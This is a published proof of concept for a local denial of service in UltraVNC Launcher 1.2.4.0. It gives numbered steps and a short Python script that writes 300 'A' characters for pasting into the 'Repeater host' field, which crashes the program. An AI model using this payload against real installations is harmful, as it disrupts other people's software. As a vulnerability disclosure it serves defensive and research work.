# Exploit Title:UltraVNC Launcher 1.2.4.0 - 'RepeaterHost' Denial of Service (PoC)# Discovery by: chuyreds # Discovery Date: 2020-04-05# Vendor Homepage: https://www.uvnc.com/# Software Link : https://www.uvnc.com/component/jdownloads/send/0-/394-ultravnc-1240-x86-setup.html?Itemid=0# Tested Version: 1.2.4.0# Vulnerability Type: Local# Tested on OS: Windows 10 Pro x64 es#Steps to produce the crash:#1.- Run python code: UltraVNC_1.2.40-Launcher_RepeaterHost.py#2.- Open UltraVNC_1.2.40-Launcher_RepeaterHost.txt and copy content to clipboard#3.- Open UltraVNC Launcher#4.- Select "Properties"#5.- In "Repeater host" Paste Clipboard#6.- Click on "OK"#7.- Crashed
cod = "\x41"* 300
f = open('UltraVNC_1.2.40-Launcher_RepeaterHost.txt','w')
f.write(cod)
f.close()